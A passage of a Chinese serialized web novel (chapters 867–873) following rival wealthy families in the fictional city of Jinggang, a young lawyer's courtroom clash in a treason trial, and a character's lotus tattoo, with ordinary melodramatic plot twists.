这突如其来的变故让所有人脸色骤变,叫嚣声戛然而止。 萧明、萧辉等人惊疑不定。 萧昀看了看眼前这群面容冷峻的陌生保镖,又看向人群中央的萧澜兰,色厉内荏道:“萧澜兰,你……你想干什么?这里可是萧家!” 萧澜兰微微一笑,顺手抽过沈娥手中的文件,扬手往空中一抛。纸页如雪片般纷纷扬扬落下。 “诸位叔伯真是老糊涂了。A国没有一条律法是支持野种的。所以——” 她声音一冷,“这里不是萧家,是我家。现在我不欢迎你们,滚吧。” 萧家众人又惊又怒,挣扎叫骂,可在那些力道刚猛的保镖面前,一切反抗都显得苍白无力。 萧澜兰听着不绝于耳的骂声,脸上漾开一抹愉悦的浅笑,轻声提醒:“小心些,林小姐肚子里还有个野种,别‘碰’坏了……” 第867章 夏虫不可语冰 霓虹闪烁,车流如织,巨大的落地窗折射着璀璨的城市夜景。 周宴珩靠在柔软的沙发里,面前的水晶茶几上已经放着一瓶价值不菲的威士忌,两只酒杯,其中一只已经空了小半。 包间的门被轻声推开,关鹤一身休闲打扮走了进来,他看了眼周宴珩的状态,挑了挑眉,自然在他对面坐下。 “怎么样,顾彦那孙子招了吗?”关鹤语气带着惯有的调侃,顺手拿起另一只酒杯一饮而尽。 周宴珩没接他的话茬,一把掐住关鹤的后脖颈,像拎小鸡一样把人拽到跟前。 “噗——” 关鹤一时不察,酒液倒灌直接从鼻子喷了出去。 “艹!咳咳咳!你干嘛!” 周宴珩眼神平静,声音不大,却极具穿透力:“你知道萧家宴会上,那些人在笑什么吗?” 关鹤瞬间熄火,随即扯出一个略显夸张的笑容:“我……我哪知道?那些三姑六婆不都那样?” 周宴珩静静地盯着他。 关鹤被他看得有些不自在,下意识地避开了视线,伸手去扒拉脖子上的手。 “你想死?” “……”关鹤抬眸瞟了周宴珩一眼,立马败下阵来,举起双手:“错了错了!我错了!但这事儿真不能怪我,主要是那个姜花衫,她就跟那扩音喇叭一样,话都是她说出去的!” 周宴珩冷哼了一声,把人甩了出去。 “咳咳!”关鹤扭了扭脖子,战略性往旁边退了几步,小心翼翼观察周宴珩:“怎么,生气了?” 周宴珩懒得搭理他,自顾自又倒了一杯威士忌。 关鹤眼眸微眯,嘶了一声,摸着下巴围着周宴珩上下打量。 “不是,你到底怎么了?” 周宴珩斜睨关鹤一眼,又转眸看着玻璃杯里的琥珀液体,忽然开口:“关鹤,你想过自己要成为什么样的人吗?” “哈?”关鹤露出一种你没事吧的震惊表情,翘着二郎腿往椅子上一坐,派头十足:“这还用想吗?这不是从出生就注定了吗?你未来一定会继承周家,承担周家的荣衰。至于我,我父亲马上就要当总统了,我以后就是总统公子了。” 周宴珩皱眉:“谁规定的?” 关鹤愣了愣,一脸不解:“什么谁规定的?” 周宴珩:“谁规定我一定要承担家族命运?” “不是!”关鹤像看怪物一样盯着他打量:“你是周家独子,全鲸港的人都知道你是未来周家的家主,你当然要承担家族的命运了。” 蓦地,他表情古怪,眼里满是惊疑:“你别告诉我,你不想当周家家主了?” 周宴珩摇头:“没有想和不想,我只是突然在思考一件事。” 遇见困惑了。 人这一生要成长,总要经历这样的阶段。 关鹤了然,拍了拍胸脯:“什么事,你说,我开解开解你。” 周宴珩:“从我记事开始,我就被所有人告知我是周家未来继承人,我所接受的一切培养都是为了承担起家族重担。我自恃不受拘束,但实则从未真正挣破过牢笼。” 关鹤越听越玄乎,小心凑上前:“你和老爷子吵架了?” 周宴珩摇头。 关鹤琢磨不透,嘶了一声,又问:“那你是对现在的生活厌倦了?” 周宴珩:“没有。我只是忽然意识到了自己想要什么。” “好事啊!” 在他心里,周宴珩一直都是智多近乎妖的存在,他整那么多事就是因为根本不知道自己要什么。 说白了,就是空虚。 所以才需要更多情绪和欲望填补内心的空虚。 关鹤眼睛发亮:“说说看,你想要什么?” 想要什么? 周宴珩没有接话,目光重新投向窗外。 鲸港的夜景依旧璀璨,那些高耸入云的建筑,川流不息的车灯,构成一张庞大而精密的网。 他曾以为站在顶端便是自由,如今却忽然看清,即便是如他的爷爷曾爷爷那样的人,依旧受制于所谓世代传承的规则,约定俗成的期待。 也就是说,如果有一天他成为了周家家主,不外乎是从一个金贵的牢笼换到另一个更金贵的牢笼,可牢笼的本质终究还是束缚,并没有什么不同。 所以当老爷子将周家几代人的心血托付给他时,他没有半点喜悦,反而会有种被桎梏的无语。 那一瞬间,他生出了叛逆之心。 他突然知道自己想要什么了。他要的是更大的自由,一切都任由自己做主的权力。 比如,他可以替周家另谋出路,但并不是因为他姓周,也不是因为周老爷子的嘱托,仅仅只是因为他觉得有趣。同样,有一天,如果看着周家灭亡会让他觉得有趣,他也能立马放手,无惧任何世俗规定。 “到底想要什么啊?你倒是说啊,跟我还卖关子?”关鹤等了许久也没等到答案,被吊得心痒难耐,又凑近了一些。 周宴珩收回投向窗外的目光,淡淡瞥了他一眼,不置一词站起身就要走。 “诶!”关鹤见状,一把拽住他:“什么意思?” 周宴珩低眸,整理了一下丝毫未乱的衣襟,抬手甩开他:“夏虫不可语冰。” 关鹤被这句话砸得一懵,等反应过来,周宴珩的背影已经消失在眼帘之内。 “艹!谁TM是夏虫?”关鹤低声骂了一句,烦躁地扒了扒头发。 …… 第868章 耀眼的她 周宴珩漫无目的地在街道上走着,霓虹灯的光影在他轮廓分明的侧脸上明明灭灭。 刚走过一个转角,一家装潢极具现代感的奢华店铺引起了他的注意。黑色的金属招牌上,只有一个简洁的英文单词"Aether",旁边用更小的字体标注着"高级定制纹身"。 他脚步微顿,转身推开了那扇沉重的玻璃门。 店内与外界的喧嚣隔绝,灯光柔和,空气里弥漫着消毒液和淡淡香氛的味道。 一个穿着黑色工装、花臂布满纹身的店员主动迎了上来:"先生晚上好,有预约吗?" 周宴珩没有立即回答,他的目光扫过店内墙壁上展示的风格各异的纹身图案:"能自己规定图案吗?" "可以的。"店员一眼就看出周宴珩的不凡,立马递上一本速写簿和一支铅笔。 周宴珩接过,在柔软的皮质沙发里坐下。 他垂眸,看着空白的纸页,脑海中再次清晰地浮现出画廊那幅《几何莲花》——冷硬的直线,锐利的转角,规整的圆形,以一种近乎悖论的方式,构筑出莲花的清净与禅意。 这就是打破规则。 真是有毒,他竟然在明白自己想要什么之后看懂了姜花衫的画。 周宴珩拿起铅笔,笔尖在纸面上快速滑动,几笔之间,一个由直线构成的抽象图案跃然纸上,它对称,冰冷,带着一种超越世俗的美感,完全解构了传统莲花的柔媚。 店员在一旁安静地看着,等他停笔,才带着几分探究和不确定,轻声问道:"先生,这个设计……很独特。是六芒星的一种变体吗?还是某种特殊的徽记?" 周宴珩抬起眼,视线从纸上的图案缓缓移到店员脸上,他的眼神平静无波,却让店员莫名感到一股压力。 "是莲花。"他开口,声音不高,却带着一种奇异的笃定,仿佛在陈述一个不容置疑的真理。 店员明显愣住了,视线再次落回那完全由几何线条构成的图案上,嘴唇微张,笑着附和:"挺有个性的。" 周宴珩将速写簿递还给店员,身体向后靠进沙发背,举起左手晃了晃无名指:"就纹这里。" * "终于考完了!!!" A国的律法考试刚刚结束,考生们如潮水般从考场涌出,三三两两聚在一起,热烈地讨论着今年那道刁钻的关于"习惯法与成文法冲突"的案例分析题。 姜花衫随着人流走出,阳光有些刺眼,她微微眯起眼,在人群中四处眺望。 "这里!" 傅绥尔远远摇摆着双手,在拥挤的人潮中又蹦又跳。 姜花衫笑了笑,挥手回应。 傅绥尔兴高采烈冲进人潮,一把搂着她的胳膊:"小姜律师,考得怎么样?" 姜花衫抬了抬下巴:"你都叫我小姜律师了,还用问?" "太好了!必须庆祝!"傅绥尔笑得眼睛弯弯,掏出手机低头订餐,"我知道新开了一家日料,食材特别新鲜……" "我天啊!你们看见今天的热点新闻没?卡塔尔汗年轻女法官巧用当地税法,颠覆男权土地垄断传统。" "我也是刚刚打开手机才看到的,不是卡塔尔汗的女法官,是海兰国际学院的进修团成员。名字好像是……" "苏妙!对!是苏妙!" 姜花衫被忽如其来的两个字吸引了注意力,立马转头看向不远处围簇在一起热烈讨论的一群考生。 "绥尔,你听见他们在说什么吗?我好像听见了妙妙的名字。" 傅绥尔嘴角的笑容已经变成了惊叹:"衫衫!是妙妙!是妙妙!" 她点开不断推送的热点时事递给姜花衫,拿着手机的手因为太过激动颤抖不已。 屏幕上,几大新闻客户端的头条推送都带着同一个名字——"苏妙",以及一个她略有耳闻却觉得十分遥远的国度名称。 新闻标题十分惹眼且前所未有的振奋: -【国际快讯:海兰国际法学院实习生苏妙,于卡塔尔汗王国做出历史性判决,以法律利刃为部落女性斩获土地继承权!】 -【打破百年桎梏!法律智慧的胜利:看她如何用''纳税义务''为女性赢得''生存权利''!】 姜花衫怔在原地,周围考生的争论声瞬间被隔绝在外。 她点开新闻详情,快速浏览着报道。 文章简述了苏妙如何避开正面冲突,精妙地利用该国的《土地税收法典》与《部族习惯法》之间的逻辑矛盾,为一位名叫莱拉的女性及其所属的整个部落女性群体,赢得了宝贵的土地所有权。 报道中还配有一张抓拍的照片:在异国略显简陋的法庭外,苏妙被几位身着传统服饰、脸上洋溢着激动与感激的当地女性围在中间。她穿着简洁的职业装,身形比记忆中更清瘦了些,但脊背挺得笔直,眼神沉静而坚定,那光芒穿透像素,直抵人心。 这一刻,姜花衫耳边仿佛又响起了花廊下,苏妙带着泪意却无比清晰的声音:"我将来要做的,是成为无数无力潜行者的依靠。" 她做到了! 姜花衫握着手机的指尖微微用力,一股难以言喻的滚烫情绪在胸腔里沸腾涌动。 原来打破标签的她们,竟然可以活得这么鲜活。 * 第869章 叛国案开庭 A国司法考试刚刚落幕,苏妙便创下了如此巨大的影响力,令不少同行者备受鼓舞。 起初,各大法学院教授纷纷在课堂上将这一案例作为"习惯法与成文法冲突"最鲜活的教材,深入剖析其策略之精妙,盛赞这是"于不可能处开辟可能"的法律智慧。 紧接着,这场震动迅速蔓延至司法界与律师公会。一些资深法官在内部研讨会上,不得不重新审视这位来自海兰国际学院的年轻实习生所展现出的魄力与洞察力。 她那"以子之矛攻子之盾"的策略,不仅是对卡塔尔汗法律的精准运用,更是对法律本质是维护正义与公平工具的一次有力重申。 一时间,A国上层名流圈无人不晓苏妙的名字。上一个引发如此广泛关注的还是"以身殉职"的周绮珊,但相较于周绮珊,苏妙更为年轻,她的未来还有无限可能。 曾经,苏妙的身份颇为尴尬——条件优越的人家看不上她,条件一般的又都算是高攀。此事一出,太太们的态度明显转变,三天两头邀请苏夫人出来打牌喝茶。 最高兴的当属苏敬琉。素来不贪杯的他,当晚竟喝得酩酊大醉,不顾众人劝阻爬上洋楼天台,指着漫天繁星高声呼喊:"看见没,星辰大海!人间正道!!我的孙女!" 苏家人只觉头疼,连劝带哄地将老爷子扶回房间,一直闹到半夜才消停。 翌日,老爷子宿醉醒来,恍若失忆般将全体苏家人召集到跟前,语重心长地叮嘱道:"苏家也是鲸港权贵望族,你们切莫因为妙妙这一点小事就沾沾自喜,出门在外注意风度。" 众人:"……" * 苏妙的余热还未褪去,A国又迎来了最新热点,万众瞩目的叛国案终于开庭。 庭审地点设在鲸港最高法院刑事一庭。审判长是被A国民众誉为“审判业务专家”的孙序,庄重的国徽高悬于顶,现场旁听席座无虚席,尽是A国上层名流。镁光灯在角落不时闪烁,捕捉着每一位决策者脸上细微的表情变化。 余笙身着干净的病号服,外罩一件深色外套。她脸色虽略显苍白,背脊却挺得笔直,坦荡从容地坐在原告席上。目光穿过人群,与坐在辩护席首位的姜花衫短暂交汇。 就在两人目光交汇的刹那,庭内侧门被两名法警从外推开。 原本聚焦在原告席的视线与镜头,霎时间齐刷刷转向门口。 余斯文到了。 他穿着一身熨帖的深灰色西装,头发梳理得一丝不苟,嘴角挂着一抹从容的浅笑。不知情的还以为他出席的是一场重要的商务会议,而非叛国罪嫌疑人。 他的步伐沉稳,走过长长的过道时,目光平静地一一扫过旁听席上的面孔,最终幽幽落在余笙身上。 这一眼,没有预想中的剑拔弩张。余斯文主动笑了笑,活像个慈祥的父亲:“阿笙,你长大了。我很欣慰。” 姜花衫被恶心坏了,面无表情地侧过身,凑到余笙耳边低语:“他的潜台词是,你翅膀硬了,他要收拾你了。” 余笙沉默片刻,抬眸迎上姜花衫的目光:“我知道。” 姜花衫虽压低了声音,却也没有刻意回避,若有心不难听清她说了什么。 余斯文脸上的笑意微微收拢,状似无意地扫了姜花衫一眼,随即优雅转向审判席,对着审判长孙序微微躬身,动作标准得无可挑剔。 哪怕到了生死关头,他依旧不忘展示一位前高层政要应有的风度。 “装模作样。”傅绥尔看不下去,小声吐槽。 沈娇轻轻拍了拍她的手背,往一旁使了个眼色。傅绥尔神色微变,小心翼翼地端坐好。 这次的庭审,沈庄亲自到场。他一身玄色暗纹中山装,双手交叠按在一柄乌木手杖的龙首之上。自余斯文进门起,他便半阖着眼,似在养神。 沈兰晞和沈归灵各坐两端,一个清冷如高悬之月,一个温雅如春池秋水。 祖孙三人即便已经低调地坐在角落,还是引得不少人侧目仰望。 “肃静!” 伴随着审判长孙序沉稳而极具穿透力的声音,法槌敲响,整个法庭瞬间肃静。 “现在开庭!请原告律师宣读起诉书。” 姜花衫应声而起,展开起诉书,语调平缓地开始陈述对余斯文叛国罪行的指控。 内容与之前对余笙的指控大同小异,核心依旧以海外账户为支点,揭露了余斯文利用职务之便,出卖国家核心机密以牟取暴利,并企图嫁祸亲生女儿,行为极其恶劣。 余笙放在膝上的手不自觉地攥紧。即便她早有准备,可当她和自己的父亲真的走到这一步,她又不可抑制地感到难过。 起诉词宣读完毕,审判长的目光转向辩护席:“被告人,可以开始你的答辩了。” 余斯文缓缓站起身。他没有立刻走向发言席,而是先细致地整理了一下自己的西装袖口,仿佛即将进行的不是一场关乎生死的辩护,而是一次重要的演讲。 他步至发言席站定,目光先是带着一丝歉疚,深深地望了原告席上的余笙一眼,继而转向审判长,声音带着岁月沉淀的稳重感: “审判长,各位陪审员。首先,我必须向原告,也就是我的女儿,余笙,表示我最深切的歉意。” 他微微欠身,姿态放得很低:“作为一个父亲,我没能保护好她,让她卷入了如此可怕的风波,甚至遭受了身心的巨大创伤。对此,我难辞其咎,痛心疾首。” 这番开场白情真意切,在余笙眼里却与豺狼无异。 这个时候他还在演。 不知为何,她心里的那股难受忽然变成了无处宣泄的怒火。 “但是——”他直起身,语气陡然变得坚定,目光扫过全场,带着不容置疑的凛然:“对于原告,我的女儿,所提出的所有指控我均有异议!我,余斯文,在此郑重声明:我从未进行过任何背叛国家、出卖机密的行为!这完全是污蔑!” 此言一出,全场一片哗然。 余笙猛地睁眼,死死盯住眼前的男人。 …… 第870章 伪父 “稍安勿躁。” 姜花衫早就算到余斯文不会束手就擒,不动声色地按住余笙的肩膀。 余笙眼睑微颤,轻轻松开发麻的指尖。 “肃静!”审判长环顾全场,神情冷峻,“被告继续陈述。” “审判长、各位陪审员,原告提供的几个海外账户虽然矛头直指我,但我对此完全不知情。我甚至不明白我的生物信息为何会与那些账户产生关联。是原告利用我对她的信任,从我这里窃取国家机密进行私下运作,而我对此一无所知。” “早在一年前,我就已察觉原告的异常举动。出于一个父亲对女儿的信任,我当时并未深究,原以为送她出国能保全我们父女最后的体面。没想到她竟因此心生怨恨,与幕后势力勾结,意图扰乱A国政统。” “我只有原告这一个女儿。作为父亲,无论她犯下什么过错我都愿意原谅;但作为一国首脑,我决不能姑息内奸。即便心如刀绞,我也不得不站出来指证自己的女儿。” 这番声情并茂的陈述再次引发轩然大波。 现场正在进行实况转播,关注此案的A国民众开始出现被带偏的倾向。 作为余笙的首席辩护律师,姜花衫绝不容许舆论倒戈。 不等众人反应,她径直起身向审判席微鞠一躬:“审判长,各位陪审员,法律的基石是证据,而非演技。” 她目光如炬,直视余斯文:“被告人方才的陈述,堪称一出精心编排的戏剧,情节动人,情感饱满。但很遗憾……空口无凭。被告人声称对海外账户‘完全不知情’,指控我的当事人余笙女士‘窃取国家机密私下运作’。在此,我有三个问题,请被告人当庭回答。” 她竖起第一根手指,语速平缓却字字铿锵: “第一,根据我方提交的账户流水与通讯记录显示,该账户在五年内发生七次大额资金转入,时间点均与被告人出席境外秘密会议、或接触特定敏感文件高度吻合,证据链符合法定采纳程序。被告人声称海外账户系我当事人嫁祸,我方不接受无端臆测,要求被告提供实质性证据。若证据缺失,我方当事人保留追究权利。” 不待余斯文回应,她竖起第二根手指,言辞愈发犀利: “第二,被告在发现我当事人‘可能’进行叛国行为时,身为‘一国首脑’,第一时间选择的不是上报国家安全委员会,不是启动内部调查,而是私下将我当事人送走‘保全体面’?请问被告,你所要保全的,究竟是国家的体面,还是个人仕途的体面?” “第三!” 她竖起第三根手指,发出最致命的一击。 “第三问与案情无关,是我个人想问的。被告,你真的爱你的孩子吗?这世上哪个用心良苦的父亲,在发现孩子误入歧途时,第一反应是放弃?承认吧,你根本不爱你的孩子,你甚至此刻还在用爱的名义绑架她!可是,你怎么能一边将她置于死地,一边又声称爱她?你的卑劣行径,甚至不配被称为父亲!” 旁听席上传来阵阵压抑的抽气声。 姜花衫的逻辑链条如冰冷的锁链环环相扣,三个问题层层递进,最后一句“不配为父”直接将余斯文刚刚建立的同情彻底击碎。 第871章 沈家之祸 余笙顿时脸色苍白,眼眸失焦地看向姜花衫。 当初为了保住余斯文,她不得已加入了利维坦之陨联盟,她和沈年的确有IP记录往来。 余斯文故意利用这一点,将叛国的嫌疑引向了沈家,目的就是要将矛盾转移。 余斯文立于庭前,姿态坦荡而凛然,仿佛一个为正义发声的孤臣。 “鉴于以上铁证,我在此向法庭提出两项郑重请求!” “第一。”他学着姜花衫之前的模样竖起第一根手指,目光定格在不停闪烁的镜头,“我恳请法庭,立即对沈年涉嫌叛国、勾结境外势力一事进行调查,并与本案进行并案审理!” “第二……” 这一次,他的目光转向了姜花衫,眼神中带着一种看似无奈却又咄咄逼人的审视,“在此案涉及沈家核心成员,鉴于原告委托律师与沈家之间众所周知的密切关系,我要求法庭撤销原告律师关于此案的辩护资格。” 余斯文话音一落,现场再次爆发出骚动与哗然,媒体镜头纷纷转向,对准坐在角落的沈庄。 “沈老爷子,对于现场指控的叛国罪,您有什么向公众解释的吗?” “老爷子,请您对公众说两句。” “肃静!!!” 审判长不得不再次维持秩序,但这次人群过于骚动,言语无法控制。有些情绪激动的记者甚至直接翻过了指定区域,扛着摄像机跑到了听审席。 沈兰晞和沈归灵反应极快,立马起身,一左一右挡在沈庄面前。 “警卫!”审判长见状,立刻发动现场警卫维持秩序。 有了武力强压,越界的记者被强行驱逐,现场秩序也勉强安静了下来。但即便如此,所有人的目光都已经转移了方向,沈庄俨然成了风暴中心。 姜花衫转头看向人群里的老人,忽然觉得有些难受。 她早就料到余斯文会想尽办法阻止她为余笙辩护,但万万没想到他竟然直接和李儒联手了。 按照审讯规则,所有证据必须在开庭前一个星期提交,余斯文为了打她们个措手不及故意选择当庭呈交,虽然噱头不错,但法律程序不允许。所以,今天这场官司一定会被叫停。 她手里现在有李儒的录音,不管怎么样最后都能翻盘,但她还是受不了这些人竟然这么算计她的爷爷。 沈庄已经隐退多年,今天特意换了一身最精神的衣裳出席,就是想来替她撑场面的,但他们却故意在这样的场合,让骄傲了一辈子的爷爷面对自己养出一个“国贼”的控诉。 他们不仅仅是想要爷爷的命,更想让他身败名裂。 沈庄自始至终都没有表露出任何情绪,直到感应到姜花衫的目光,眼里才流露出了几分温和,几乎不可察觉地摇了摇头。 姜花衫深吸了一口气,转头看向审判长,“审判长,被告递交证据的程序并不合法,我方并不采纳。” 审判长深思片刻,宣布暂且休庭,同时在座七位陪审员同时离席。 休庭期间。 姜花衫带着余笙去了庭后的小屋暂作修整。 余笙也知道现在的情况不妙,神情严肃,“我的确与沈眠有过交集,但那个时候我并不知道他就是沈年,是我父亲为了示好S国境外势力故意将我拖下水的。你相信我,我没有叛国!我也没有欺骗你。” 姜花衫给她递了杯温水,轻声安抚,“我知道。不用着急。” 余笙原本还心烦意乱,但看姜花衫态度如此轻描淡写,不觉有些困惑,“你为什么看上去一点儿也不担心,难道你已经有应对的办法了?” “办法总是会有的,但前提是不能自乱阵脚。” 余笙道:“可是,以我对他的了解,他敢当众拿出证据,一定是有沈年卖国的铁证,万一……” “没有万一。” 姜花衫想了想,觉得还是很有必要跟她解释一下庭审规则,不然余笙要是被套话,说出什么不利言论,这场官司可就棘手了。 “余笙,庭审席上不是谁声音大谁就有理的,律法最讲规矩。任何人都可以提出他的控诉,但只要控诉有一条不符合法律程序就会被驳回。” “余斯文提交的新一轮证据有明显漏洞,他自己也知道。他故意为之不过就是想跟我们打舆论战,想往沈家身上泼脏水。很明显,他已经将你和沈家捆绑了,扳倒了沈家你就不足为虑了。” 余笙眸光暗涌,低头抿了一口温水,让自己冷静后问道,“那我应该怎么办?” 姜花衫笑了笑,“你不需要问我,问问你自己。律法虽无情,但审判的是人,只要是人就有左右的空间。你父亲会扮演,难道你就不会了?别让他抓住你的漏洞,不然我会很为难。” 余笙若有所思,陷入了深思。 十分钟后,休庭结束。 审判长和七位陪审员重新入席。 “原告,你是否同意被告的诉求?” 余笙看了姜花衫一眼,低头抹了抹眼角,神情憔悴,“我不同意。” 审判长点头,又问:“你对被告指控有什么要说的?” 余笙摇了摇头,眼神黯然,仿佛痛不欲生,“没有,我的父亲死了。” 霎时,全场一片肃静。 余笙忽然崩溃,从断断续续的抽泣演变到嚎啕大哭,“我该怎么办?我该怎么办?” 姜花衫立马上前,轻揽着她的肩膀一边安抚,一边略带歉意向审判长解释,“抱歉,我的当事人真的很爱她的父亲,她只是太伤心了,并非有意冒犯。” 审判长看了看哭到不能自已的少女,又看了看随时随地保持风度的余斯文,眉头不受控制地拢成了一团。 思忖片刻,审判长的目光扫过席间,在沈庄身上停留了片刻,敲响木槌。 “经合议庭合议,现就被告方当庭提交新证据及所提两项请求,裁定如下。” 一时间,所有人的目光都聚焦在审判席上。 “第一,关于被告方提交的证据。根据《A国律法》第一百九十六条之规定,当事人和辩护人、诉讼代理人有权申请法庭调取新的证据,但应在开庭五日前提交证据清单。被告方当庭提交涉及案外重大嫌疑的证据,程序确有不当。” 余斯文眼神微不可察地一黯,但审判长接下来的话又让他神色稍缓。 “然而,鉴于该证据内容涉及可能危害国家安全的重大犯罪嫌疑,本庭认为不宜简单以程序瑕疵予以排除。因此,决定对该证据予以初步接纳,并依职权启动调查程序。本院将立即将相关证据材料移送国家安全机关进行核查。在核查结论出具前,该证据不得作为本案定案依据,相关指控亦不纳入本案审理范围。” 这一步,是余斯文预料之中的妥协。程序上批评他,但内容上重视他,舆论的目的已经达到。 “第二,关于被告方申请更换原告委托律师的请求……” 审判长的目光转向扑在姜花衫怀里的余笙,眼神里也带着一丝不易察觉的触动: “经查,原告委托律师姜花衫与涉嫌人员沈年确属近亲属关系,存在理论上利益冲突的可能。但,本案原告为余笙女士,其诉讼请求与沈年先生是否涉嫌犯罪并无直接法律上的关联。目前亦无证据表明姜花衫律师在本案辩护过程中,存在损害当事人利益或违背职业伦理的行为。” 审判长顿了顿,“因此,被告方此项请求,予以驳回。姜花衫律师继续担任原告余笙的委托代理人,行使其法定辩护权。” 余斯文的脸色瞬间沉了下来,他试图开口:“审判长,这……” “肃静!”审判长打断了他,“本庭裁定已下,无需再议。” 他目光扫过全场,带着不容置疑的权威宣布了最终决定: “综上,因出现可能影响案件审理的新重大嫌疑,需待相关机关核查结论。依据《A国诉讼法》第二百零二条之规定,本院决定:本案中止审理,延期再审。具体开庭时间,另行通知!” “现在,闭庭!” 法槌落下,发出沉闷而决绝的声响。 * 第872章 大难临头父子情 录音的声音清晰地在安静的花厅里回荡。 姜花衫原本一脸期待地看着沈庄,可渐渐地,她发现老爷子神色过于平静,丝毫没有破局的喜悦。 “爷爷?”她愣了愣。 沈庄缓和了眉眼,笑着点点头,“你是好孩子,爷爷一直都知道。” 姜花衫这才反应过来,小心翼翼地试探,“爷爷,您早就知道沈年有问题了,是不是?” 沈庄眼神忽然飘远,看向厅外那片空地,“阿年是沈园里的第一个孩子,他曾在我膝下教养过六年,我比谁都清楚他的性子。” 姜花衫有些难过,“所以,爷爷您难过的是,您的孩子终究没能长成您期待的模样?” 沈庄摇头,眼神里含着难懂的雾色,“不是。” 他不想姜花衫太担心,自己缓和了神情,温声询问,“你既然手里有这份证据,却没有当堂反击,一定是有主意了?” 姜花衫点头,“对簿公堂其实就是心理博弈,在余斯文揭露所有的底牌之前,我必须守住这张王牌,只有这样才能将他们彻底击垮。” 沈庄与有荣焉地笑了笑,“你既然有主意了,就按你的想法去吧。爷爷支持你。” 姜花衫原本向沈庄透底就是不希望他担心,但现在看来,老爷子明显知道很多隐情,只不过不想追究罢了。 她犹豫片刻,看向厅外,“爷爷,他们还等着您。” 沈庄嘴角的笑意略有收敛,“随他们去吧,我累了,想休息了。” 姜花衫瞬间明白了老爷子的意思,站起身告辞。 * 主厅里,气氛沉闷,乌泱泱一群人各自为营,盘踞一方,互不交流。 姜花衫刚踏入主厅,所有人的目光一致看了过来。 沈娇最先站起身,眉宇间满是担忧,“老爷子呢?” 姜花衫目光在众人之间逡巡了一圈,摇了摇头,“爷爷说他今天累了,想休息。” 这是不见的意思。 沈渊眼底飞快闪过一抹黯色,跟着站起身,表情带着几分惶恐,“衫衫,老爷子有没有说什么?” 不等姜花衫回答,沈渊轻扯着嘴角笑了笑,“大哥,你这还要问吗?老爷子一生受人尊敬,什么时候受过这种气?你还是赶紧想办法把阿年找出来吧,最好让他自己出个声明与沈家断绝关系,不然,咱们沈家所有人都要被他连累了。” 自从沈渊和沈谦撕破脸后,他也不装了,逮着机会就往沈谦脸上踩。 沈谦暗恨,但偏偏发不了火,咬牙吞下这一口恶气,冷冷道,“阿年早就是弃子了,连累不了沈家,倒是你儿子,离经叛道不服管教,可别成了下一个阿年。” “你……” 沈渊张口准备反驳,沈娥见状连忙拉住他,好言相劝,“这个时候你就少说两句吧?” 沈谦冷笑了一声,“阿灵,我们走。” 沈归灵站起身,对着几位长辈微微颔首,抬眸时故作不经意地看了姜花衫一眼,才跟着沈谦出了主厅。 沈渊不以为意,低头理了理领口的领带,“既然老爷子没发话,那就散了吧。” 沈让和沈娇对视了一眼,各自沉默。 沈兰晞起身,态度疏离,“告辞。” * 沈谦心绪难平,出了沈园,强压的怒火终于再也抑制不住,对着虚无的空气就是一个飞踢。 “……”沈归灵面无表情,像看猴子一样看着他。 “逆子!逆子!!” 沈谦咬牙切齿,眼里燃着滔天怒火,回头指着沈归灵,“我让你查沈年的下落,怎么现在还没有消息?” 沈归灵看着直逼鼻尖的指尖,神情平静,“我的权限不够,线索中断了。” 沈谦的目光触及到沈归灵的眸底时忽然一怔,他这才想起来,原本他以为沈年回到鲸港就是瓮中之鳖,为了防止沈归灵篡权,他并未给他所有的权限。 可没想到余斯文和境外势力竟然联合摆了他一道,这么看来,沈年的确不好找。 再者,他忽然惊觉了一个问题。 沈年如果真成了弃子,他未来唯一能依靠的就是沈归灵了。 沈谦立马收了手势,缓和了神情,“阿灵,我被气糊涂了,刚刚的事你可千万别往心里去。” 沈归灵眼眉如苏,“怎么会?我理解父亲现在的心情,只是……阿年哥现在被控诉叛国罪,一旦罪名成立,父亲你的仕途也就毁了。” 这正是沈谦忧虑的地方,他刚缓和的脸色瞬间又冷了下来,“所以,我们务必要先找到阿年。” 沈归灵点头,“父亲说的对,阿年哥不能待在A国了,只要阿年哥不出现,我们尚有喘息的机会。” “不。”沈谦眼里的杀机毕现,“阿灵,你还是太善良了。现在的局势,阿年不单单是不能待在A国,而是不能再活着……” 沈归灵眸色微颤,一脸不可思议,“父亲,难道你……” 沈谦抬手,重重扣住沈归灵的肩膀,语气阴恻,“死无对证,我们才能做最好的辩护。我会对你开通鲸港所有权限,阿灵,找到阿年,杀了他。以后,你就是我沈谦唯一的儿子了。未来,沈家的一切也都会是你的。” 沈归灵垂眸,侧头看向肩膀上的那只手,笑了笑。 * 与此同时。 鲸港渡口的豪华游艇内。 “哟呼~~~~” 关鹤穿着一身骚包的亮粉色衬衫,戴着墨镜,随着动感音乐扭动着身体,手里抓着一瓶昂贵的香槟,用力摇晃后,拇指顶开软木塞。 “砰——!” 一声清脆的爆响,泡沫喷涌而出,在夕阳的金辉下划出一道炫目的弧线。 他大笑着,对着坐在沙发上的周宴珩挤眉弄眼,“哈哈哈,终于轮到他沈家吃瘪了!姜花衫那个狗逼,现在一定气坏了吧!爽!真是大快人心!” 周宴珩一直在刷新热点新闻,对于关鹤的肤浅见解,完全没有要搭理的意思。 关鹤不满,探着脖子凑上前,“看什么呢?沈家人现在都被骂成狗了吧?果然,姜还是老的辣,对上余斯文,姜花衫那点道行可就不够看了。” 周宴珩按灭手机,抬脚直接把关鹤踹开,“蠢人之智。” 姜花衫要是这么轻易被打倒,也就不值得他这么惦记了。她千方百计活捉沈年,现在看来,正是在为眼前这件事布局。 这到底是怎么做到的?一步观十步,所有人都成了她棋盘里的棋子。 关鹤啧了一声,懒得跟他争辩,斜眼打量他,目光扫过他无名指的图案时,轻佻地吹了一声口哨,“这八角看着挺酷炫的,在哪纹的?” 周宴珩垂眸看了一眼,“你瞎?这是莲花。” 关鹤震惊,“莲花出淤泥而不染,你他么怎么好意思玷污莲花的。” 周宴珩,“……” …… 第873章 弃子 庭审闭庭后,#沈年叛国#的关键词迅速冲上了热搜榜首,引爆全网。 尽管沈庄在法院门前以强硬姿态暂时稳住了场面,但汹涌的民意在其他势力的推波助澜下并未得到平息,质疑与声讨如同海啸般席卷而来,其中大部分火力,都集中到了沈年的生父沈谦身上。 为应对这场足以摧毁他政治生命的危机,沈谦在闭庭后第二天,迅速召开了一场个人声明的新闻发布会。 发布会现场,沈谦一改往日矜贵,面容憔悴,眼含血丝,仿佛一夜之间苍老了十岁。 他站在镜头前,深深鞠了一躬,姿态极低: “首先,我为自己的教育失败对公众产生的不良影响深表歉意。” 